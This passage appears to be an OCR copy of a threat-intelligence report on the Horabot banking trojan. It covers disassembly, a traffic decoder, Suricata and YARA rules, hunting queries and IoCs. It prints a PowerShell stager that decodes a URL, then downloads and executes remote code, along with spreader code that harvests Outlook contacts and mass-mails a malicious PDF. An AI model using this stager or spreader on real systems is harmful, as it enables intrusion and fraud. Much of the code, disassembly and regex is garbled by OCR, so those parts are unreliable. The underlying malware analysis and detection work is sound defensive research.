LtExt:
Stext:
Stext:
text:
StExt:
text:
text:
text:
Stext:
Stext:
text:
SRext:
Stext:

BALIF374
BRASFIT4
BANIF374
BRASFITT
BAAIF3TA
BRASFITF
BaAIF382
BAADF 385
BAWAIF33T
BAAOF3BA
BRAIF 38D
BARIF392
BRASF396
BALKOF399
BRASF3AC
BALIF3AL

1BOAIF A

BAAIF3AD
BRASF3AC
BARIFIBEL
BAAOFIBE
BANIF3BI
BAAIFIBD
BRNIF3C2
BAAOFICS
BRAIF3CE
BRAOFICC
BAASF3DL
BALOF3D4
BRASFIDT
BAAIFIDE
BAASFIER
BONIF3IE3
BRASFIES
BARAIFIER
BOAIFIEE
BRNIF3IF3
BRASFIFE
BANIFIFE
BAAIFIFC
BARIF482

loc_ABF374:

Encryption routine sub_00A9F2D0

LT
mav
MOVIX
mOVIX
shr
xar
MOVIX
add
imul
add
lea
mOvVIX
mav
call
mov
les
call
push
lea
MOVIX
call
push
lea
MOVIX
call
push
les
MOVIX
call
push
push
push
mav
moy
call
inc
dec
jnz

eax, [ebptvar_4]
edx, [ebp+var_18]

ebx, byte ptr [eaxtedx®2-2]

eax, si

eax, &

bl, al

eax, bl

si, ax

si, [ebp+random 2]
si, [ebp+random_3]
ecx, [ebp+var_1C]
eax, bl

edx, 2
id‘SElﬁzl_IanoHau
edx, [ebptvar_1C]
eax, [ebptvar_8]
ustriat

offset asc_AoFda4 ; "s'

edx, [ebptvar_28]
eax, [ebp+random 1]
IntTestr
[ebp+var_z2a]

edx, [ebptvar_24]
eax, [ebp+random 2]
IntTostr
[ebpévar_24]

edx, [ebptvar_28]
eax, [ebp+random 3]
IntTostr
[ebpévar_28]
[ebpevar_B]

offset asc_ASF444 ; "s="

eax; [ebpivar_C]
edx, &

ustrCatN
[ebp+var_ia]

edi

loc_AaFaT4

ciphertext, encapsulating everything within the “##” markers. The final output looks like this:

1

Here’s a Python snippet to decode such traffic:

##[key1][key2][key3][encrypted _hex_ datal##
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def deobfuscate _traffic(obfuscated):
if not (obfuscated.startswith("##") and obfuscated.endswith("##")):

raise ValueError("Invalid format")

core = obfuscated[2:-2]

key1 = int(core[0:4])
key2 = int(core[4:8])
key3 = int(core[8:12])

hex_data = core[12:]

current_key = key1

output_chars =[]

foriin range(0, len(hex_data), 2):

xored = int(hex_datali:i+2], 16)

high_byte = (current_key >> 8) & OxFF
original_char = chr(xored * high_byte)

output_chars.append(original_char)

current_key = ((current_key + xored) * key2 + key3) & OxFFFF

return "".join(output_chars)
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Although this encryption layer was likely intended to evade network inspection, it ironically makes
detection easier due to its highly regular and repetitive structure. This pattern, including the
external markers “##”, is uncommon in legitimate traffic and can be used as a reliable network
signature for IDS/IPS systems. Below is a Suricata rule that matches the described structure:
alert tcp any any -> any any (\

msg:"Horabot C2 socket communication (#thex##)"; \

flow:established; \

content:"##"; depth:2; fast_pattern; \

content:"##"; endswith; \

A2 OoOoONOOOPRWON -~

pcre:"/MHE1-9][0-9{3}[1-9][0-9K{3}[1-9][0-91{ 3}[0-9A-F+##$/"; \
classtype:trojan-activity; \

sid:1900000; \

rev:1;\

metadata:author Domenico; \

As documented by our colleagues at Fortinet, the malware contains functionality to display fake
pop-ups prompting victims to enter their banking credentials. The images for these pop-ups are
stored as encrypted resources. Unlike strings, resources are decrypted using the standard RC4

cipher, and the key pega-avisa03234029284 is retrieved from the previous TStringList structure
at offset 3FEh.
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o bk 1 BRADT IR A
- DENT  BAADT 58
«bewt  SRADT RS
< DENT I ERADT A0,
- bext :BRADTALE
«bext  SIADTAL5
< bewt 1 BAADTALE
TNt BEADTAID
+hewt (SN TALF
bt 1 BAADTAZS
- bt 1 SBADTATE
« bt BRADT AR
-bewt : BAADTAZF
LbExt  BAADTA3Y
et BT A Ra,
- bt BRADTAIC
- bt SAADTA4]
« et  BRADTT 346
LtENtBasn7a4a
» et BRADT 240
bERt 1BRADTAEN
- bext : BAADTASS
«bet  SADTATA
bt 1 BAADTASF
- DENT  BAAD7A51
«hewt SRADTAG2
< DENT 1 BRADTAET
- bext : BBADTASA
«bet ;ST AED
< bewt 1 BAADTATI
TNt BBADTATE
bt AN TATD
«bewt  BRADTAEI
- bt 1 BAADT 4SS
« bt BRADT AR
< text:@AADTASF
bRt BRADT A0S

bt BSRADTAAZ
« et 1 BRRADT A8
- bENT  BAAD7AAS

The wordplay around “pega a visdo”, Brazilian slang meaning “get the picture” figuratively, reveals
an intentional cultural reference, supporting the already well-known Brazilian ties of the operators

pop
call

edu, [ebptvar_438]

#ax, 341h » TOKENSANREGID
gethecryptedStringslist_sub_G8ABE0EE
man, [=hpsvar_438]

wcx, 1

edx, [ebpivar_d4]

idra72122 _Pos_B

i,

loc_ADTS0E

ecx, [ebptvar_13]

g1, 1

eax, dsiidr35as4819 VMT_ACER4d_Tarrefmoddat tem
1dr21381358_TCustoaForm_Create

#di, idr33B46103_gvar GBBSEDTS
[=dx], eax

eax, Eth ; "d’

Edr21297__Unitd53_sub @RAAl60C

man, idriSB4SBE2E guar BADSRSSC

eax, [eax]

eax, [eaxd3CCh]

edu, edu

£dr19298223 TLabel Setvisible
EdrZ132l_ Unitd54_sub SRaslC68

AN, EAN

ehp

offset loc_ADTABE

dword ptr fsi[eax]

fe:[eax), esp

edu, [ebpsvar_43C]

eax, IFEh ¢ pega-svisacl2IAB292E4
EEtDRcrypraditringslist_sub_BAAREDSR
ean, [ebpivar_45C]

ean

wdx, [ebpesvar_d22]

o, AA0h ;i sicccimagell
getDecryptedstringsiist_sub_BasscDse
eax, [ebpsvar_428]

edu, idriSB44183_gyar SARERDTE

edx, [edx]

e, [edxa5alh]

edx

EET_PHG_Resource_sub_BRADISEC

agick: SICCCIMAGET 1 _decrypted.png

banregio

jLa comumicacion con tu dispositivo falla!
Necesitaras sincronizar fu dispositive nuevamente,

Escribe tu token agui

=

Banco Reglonal, 5.4.

Institucion de Banca Maltiple, Banregio Grupo Financiero,
Todos los Derechos Reservados B

Fake token overlay used for credential theft (right), with disassembly (left)

who have a native understanding of the language.

Below is a collage of pictures where the targeted bank overlays are visible.
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Trabajando en las actualizaciones

Mantén el equipo enchufado.

Es posible que el equipo se reinicie varias veces.
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Excerpt of decrypted fake overlays

Stage 4: The spreader

In our tests, we noticed that both the VBScript (the heavy lifter) and the Delphi DLL have
overlapping functionality for downloading the next stage via PowerShell. Although they rely on
different domains, they follow the same URL pattern.
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tput_decoder_batch, _

14@33 g1

a F
write_str_to file o

We tried accessing URLs meant for downloading the spreader. One returned nothing, while the
other displayed a sequence of two PowerShell stagers before reaching the actual spreader.
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labodeguitaup.spac

$ekalseis =

$([Text.Encoding]: :Unicode.GetString([Convert]: :FromBase64String( " aABBAHQACABZADOAL wAVAGMAT wBmAC 4A7 gBhAGMADAB1 AHT
BAVAGEAJQAVAGCAZQByAGEAJQBBAGEAL gBWAGREACAA=") ]

$feawhajs = Invoke-WebRequest -Uri $ekalseis

Invoke-Expression $feawhajs.Content

]z :FromBasesdString( JR § I Dk G N T N2 hidadHE r Fhl z Lindiiob B 'yS SwliC Bach TASH | T vV XLk Y XB
romBaseddString T Y TATNZ Y ximhddHE. o Fd ilcml 2 Lindiob WS
JUTFE . GetString wert ]z 1Fre sefastr G YR Y TR LMDU OGhdg: dml Ty 3R] cnF 206G ] 7 LinMiok 34
: IUTFE.GetString 1= sebdstring( z ) I 1 ¥2dmlmThY IR] Cmf nbioh Ty
1 UTFE.GetString( 3 12 : FromBasetaString( = ] 1mDGE@YT IhZ B ¥ 2dalmZhYIR1 cnf 2dG R

UTFB.G rEwy GO TRk 3 dml TR IR ] cmF R

tString( fqadm
FB.Get5tri S B S r smtent )

Gerstring( fidnlsse7 st Ent )

In the second stager, we found several Base64-encoded URLs, but only one of them was active
during our analysis. Based on comments found in the spreader code, we suspect that in previous
versions or campaigns the spreader was assembled piece by piece from these other URLs. In our
case, however, a single URL contained all the necessary code.
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https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/02/24183724/horabot-campaign21.png
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/02/24183724/horabot-campaign21.png

tADHCAL QBAAL SAKARCAL SAWET AGE AL QEEADGAL JASAL R N0Ar ACKAKBALF sAYDA TAHOAMAA TADKAL QBdAC S

Yes, we also wondered how PowerShell could possibly accept ASCII chaos as variable/function
names, but it does. After cleaning up the messy naming convention and reviewing the well-
commented routines (thanks, threat actor), we were able to identify its main duties:

o Harvest emails via the MAPI namespace;

o EXxfiltrate unique email addresses to the C2;

e Clean up the outbox;

o Filter the exfiltrated email addresses against a blocklist of keywords;
e Prepare a phishing email containing a malicious PDF;

o Mass-distribute the email to the filtered addresses.

One interesting point is that the spreader’s code and comments allow us to extract some useful
intel:
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https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/02/24183804/horabot-campaign22.png
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/02/24183804/horabot-campaign22.png
https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_variables?view=powershell-7.5

foutlook New-Object -ComObject Outlook.Application
$namespace = $outlook.GetNamespace( "MAPI™

$outbox = $namespace.GetDefaultFolder([Microsoft.0ffice.Interop.Outlook.0lDefaultFolders]: :olFolderQutbox

$item in @($outbox.Items)
ry {
fitem.Delete

tch {

1 "NAfo foi possé}#l deletar um item: $_ "

t "Caixa de sa@#a limpa!™

> $htmlContent = @"

)

$htmlPath = "C:\Users\Public\temp.html"™
$htmlContent Set-Content -Path $htmlPath

$pdfoutputPath = “C:\Users\Public\File-$line.pdf”

> "msedge.exe” -ArgumentList "--headless”, "--print-to-pdf=$pdfOutputPath”, $htmlPath

Seconds
st "PDF gerado com sucesso em: $pdfOutputPath”

Path $htmlPath

o All comments are written in Brazilian Portuguese, which gives a strong indication of the
threat actor’s origin.
It is fairly easy to distinguish comments written by a human from those most likely generated
by an Al/LLM; the latter are too formal and remarkably well-formatted. One of the human
comments actually inspired the title of this article.
One of the comments in the code reads “limpa a caixa de saida antes de sapecar”. Sapecar
has a very specific meaning that only Brazilian Portuguese speakers would naturally
understand. The closest equivalent to this comment in English would be: “Clear the outbox
before you blast it off or let it rip.”



https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/02/24183853/horabot-campaign23.png
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/02/24183853/horabot-campaign23.png

Our team tracked Horabot activity for a few months and compiled a collection of malicious
attachment examples used in this campaign. They are all written in Spanish and urge the user to
click a large button in the document to access a “confidential file” or an “invoice”. Clicking the
button triggers the same infection chain described in this article.

Documento Confidencial

Factura disponible - Acceso exclusivo x i .
AjComunicado Oficial Urgente!
Homos goencrado un nuove documonto iscal que sun no ha sido visualizado,
5o ha gararado un Documento Fiscal Exclusivo asodads & su cuanta
Esia contenido contiena informacion reservada asociada a tu actividad racianta
Recomendamos acceder abora para evilar blogueos o restricciones. Mueslros sistemas han deleclado un nuevo regisin que requisere su

validacil2n inmediata para mantener su sitluacid™ fizcal al dha

m Esle acceso as fundamental para evitar fuluras restricciones o aclaraciones.
Antes de acceder, deberas completar una verficacion rapida de sequridad
[CAPTCHA.
Verificar Documento Ahora

wecano Anico y verificsds & la

Detection engineering and threat hunting opportunities

After navigating this long, layered attack chain, we bet some of the tech folks reading this have

already started imagining potential detection opportunities.
With that in mind, this section provides some rules and queries that you can use to detect and
hunt this threat in your own environment.

YARA rules

The YARA rules focus on two core components of the operation: the Autolt script that functions as
the loader, and the Delphi DLL that serves as the banking Trojan.
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51

import "pe"

rule Horabot_Delphi_Trojan
{
meta:

author = "maT"
description = "Detects Horabot payload/trojan (Delphi DLL)"
hash_01 = "6272ef6ac1de8fb4bdd4a760be7ba5ed"
hash_02 = "4caa797130b5f7116f11c0b48013e430"
hash_03 = "c882d948d44a65019df54b0b299667 7"

condition:

uint32be(0) == 0x4d5a5000 and
filesize < 150MB and
pe.is_dll() and
pe.number_of exports == 4 and
pe.exports("dbkFCallWrapperAddr") and
pe.exports("__dbk_fcall_wrapper") and
pe.exports("TMethodImplementationintercept") and
pe.exports(/A[A-Z][0-9]{6} _[A-Z0-9]%$/)

}

rule Horabot_AutolT_Loader
{
meta:
author = "maT"

description = "Detects AutolT script used as a loader by Horabot"
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52
53
strings:

$winapi_01 = "Advapi32.dil"
$winapi_02 = "CryptDeriveKey"
$winapi_03 = "CryptDecrypt"
$winapi_04 = "MemoryLoadLibrary"
$winapi_05 = "VirtualAlloc"

$winapi_06 = "DIICallAddress"

$str_seed ="99521487"
$str_funcO1 = "B080723_N"
$str_func02 = "A040822 1"

$opt_hexstr01 = {20 3D 20 22 ?? ?? ?? ?? ?? ?? ?? 5F ?? 22 20 0D 0A 4C 6F 63 61
6C 20 24} // ="B080723_N" CRLF Local $

$opt_aes192 = "0x0000660f" // CALG_AES_192
$opt_md5 = "0x00008003" // CALG_MD5

condition:
filesize < 100KB and
all of ($winapi*) and
(
1 of ($str*) or
all of ($opt*)
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Hunting queries

You may notice that some patterns in this section do not appear in the URLs described earlier in
the article. These additional patterns were included because we observed small variations
introduced by the threat actor over time, such as the use of QR codes in the lure pages.

VirusTotal entity:url (url:’0DOWN1109" or url:"0QR-CODE” or url:"0zip0408" or

Intelligence url:"0out0408" or url:"Ocapcha17” or url:*/g1/ld1/” or url:"/g1/auxld1” or
url:”’/au/gerapdf/blqs1” or url:"/au/gerauto.php” or url:’g1/ctld” or
url:"index25.php” or url:’07f07ffc-028d” or url:"0AT14" or url:"0sen711") or
(url:”index15.php” and (url:"/on7" or url:"/on7all” or url:”/inf"))

URLScan page.url.keyword:/.*\/([0-9]{6}|reserva)V(au|up)V.*/ OR page.url:(*ODOWN1109*
OR *0QR-CODE* OR *0zip0408* OR *0out0408* OR *0Ocapcha17* OR
*\/g1VId1* OR *\/g1Vauxld1* OR *Vau\/gerapdf\/blgs1* OR *VVau\/gerauto.php*
OR *Vg1Vctld* OR *Vindex25.php OR *\/index15.php)

loCs
Indicator Description
hxxps://evs.grupotuis[.]buzz/Ocapchal7/ Fake CAPTCHA
page
hxxps://evs.grupotuis[.]buzz/0capcha17/DMEENLIGGB.hta HTA file
hxxps://evs.grupotuis[.]buzz/0Ocapcha17/DMEENLIGGB/GRXUOIWCEKVX JavaScript Loader
01
hxxps://pdj.gruposhac|.]lat/g1/1d1/ VBS Polymorphic
01
hxxps://pdj.gruposhac|.]lat/g1/auxid1 JavaScript Loader
02
hxxps://pdj.gruposhac|.]lat/g1/ VBS Polymorphic
02 (heavy lifter)
hxxps://pdj.gruposhac].]lat/g1/ctld/ List of victims
hxxps://pdj.gruposhac].]lat/g1/gerador.php Link to download
AutolT script
hxxps://cgf.facturastbs[.]shop/0725/a/home (GET) List of C2
addresses
encrypted
hxxps://cfg.brasilinst[.]site/a/br/logs/index.php?CHLG (POST) Contacted by the

Delphi DLL
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https://opentip.kaspersky.com/https%3a%2f%2fevs.grupotuis.buzz%2f0capcha17%2f/?icid=gl_sl_opentip-lnk_sm-team_7f3de73612a1bb01&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/https%3a%2f%2fevs.grupotuis.buzz%2f0capcha17%2fdmeenliggb.hta/?icid=gl_sl_opentip-lnk_sm-team_1115cd4c3741e3d6&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/https%3a%2f%2fevs.grupotuis.buzz%2f0capcha17%2fdmeenliggb%2fgrxuoiwcekvx/?icid=gl_sl_opentip-lnk_sm-team_bc9a407ac3a05e94&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/https%3a%2f%2fpdj.gruposhac.lat%2fg1%2fld1%2f/?icid=gl_sl_opentip-lnk_sm-team_4e2e5b17eedb516c&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/https%3a%2f%2fpdj.gruposhac.lat%2fg1%2fauxld1/?icid=gl_sl_opentip-lnk_sm-team_ece2e73e27b67cc7&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/https%3a%2f%2fpdj.gruposhac.lat%2fg1%2f/?icid=gl_sl_opentip-lnk_sm-team_c2bd63ddb312116f&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/https%3a%2f%2fpdj.gruposhac.lat%2fg1%2fctld%2f/?icid=gl_sl_opentip-lnk_sm-team_5a892adced07870b&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/https%3a%2f%2fpdj.gruposhac.lat%2fg1%2fgerador.php/?icid=gl_sl_opentip-lnk_sm-team_0430b45b28db5960&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/https%3a%2f%2fcgf.facturastbs.shop%2f0725%2fa%2fhome/?icid=gl_sl_opentip-lnk_sm-team_f0769bfa4cf4695b&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/https%3a%2f%2fcfg.brasilinst.site%2fa%2fbr%2flogs%2findex.php%3fchlg/?icid=gl_sl_opentip-lnk_sm-team_f6fa3c8fadaba9cf&utm_source=SL&utm_medium=SL&utm_campaign=SL

hxxps://aufal.filevexcasv[.]buzz/on7/index15.php (POST)
hxxps://aufal.filevexcasv[.]buzz/on7all/index15.php (POST)

Contacted by the
Delphi DLL

hxxps://cgf.facturastbs[.]shop/a/08/150822/au/at.html

Contacted by the
Delphi DLL

hxxps://labodeguitaup|.]space/a/08/150822/au/au
hxxps://cgf.midasx].]site/a/08/150822/au/au

PowerShell stager
01

hxxps://cgf.facturastbs[.]shop/a/08/150822/au/gerauto.php

PowerShell stager
02

hxxps://cgf.facturastbs[.]shop/a/08/150822/au/app

Link to download
the spreader

hxxps://cgf.facturastbs[.]shop/a/08/150822/au/gerapdf/blgs1

List of blocklist
keywords

hxxps://thea.gruposhac].]space/0out0408

Link found in the
button of the first
malicious
attachment

6272EF6AC1DES8FB4BDD4A760BE7BASED

Delphi DLL sample

lifenews|.]pro

C2 (socket)

64.177.80[.]144

C2 (socket)
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https://opentip.kaspersky.com/https%3a%2f%2faufal.filevexcasv.buzz%2fon7%2findex15.php/?icid=gl_sl_opentip-lnk_sm-team_3b0055da9552d6da&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/https%3a%2f%2faufal.filevexcasv.buzz%2fon7all%2findex15.php/?icid=gl_sl_opentip-lnk_sm-team_2348a72e174524e8&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/https%3a%2f%2fcgf.facturastbs.shop%2fa%2f08%2f150822%2fau%2fat.html/?icid=gl_sl_opentip-lnk_sm-team_d67569afd04fd252&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/https%3a%2f%2flabodeguitaup.space%2fa%2f08%2f150822%2fau%2fau/?icid=gl_sl_opentip-lnk_sm-team_043927488367685e&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/https%3a%2f%2fcgf.midasx.site%2fa%2f08%2f150822%2fau%2fau/?icid=gl_sl_opentip-lnk_sm-team_8de95855deff98f7&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/https%3a%2f%2fcgf.facturastbs.shop%2fa%2f08%2f150822%2fau%2fgerauto.php/?icid=gl_sl_opentip-lnk_sm-team_b6fe798f14720025&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/https%3a%2f%2fcgf.facturastbs.shop%2fa%2f08%2f150822%2fau%2fapp/?icid=gl_sl_opentip-lnk_sm-team_8b3cde463095a932&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/https%3a%2f%2fcgf.facturastbs.shop%2fa%2f08%2f150822%2fau%2fgerapdf%2fblqs1/?icid=gl_sl_opentip-lnk_sm-team_6658181616e9d681&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/https%3a%2f%2fthea.gruposhac.space%2f0out0408/?icid=gl_sl_opentip-lnk_sm-team_5bae60f2791fba2d&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/6272ef6ac1de8fb4bdd4a760be7ba5ed/?icid=gl_sl_opentip-lnk_sm-team_c6ead739add492c9&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/lifenews.pro/?icid=gl_sl_opentip-lnk_sm-team_034075e07a90d32d&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/64.177.80.44/?icid=gl_sl_opentip-lnk_sm-team_1a4053398dec8ed5&utm_source=SL&utm_medium=SL&utm_campaign=SL

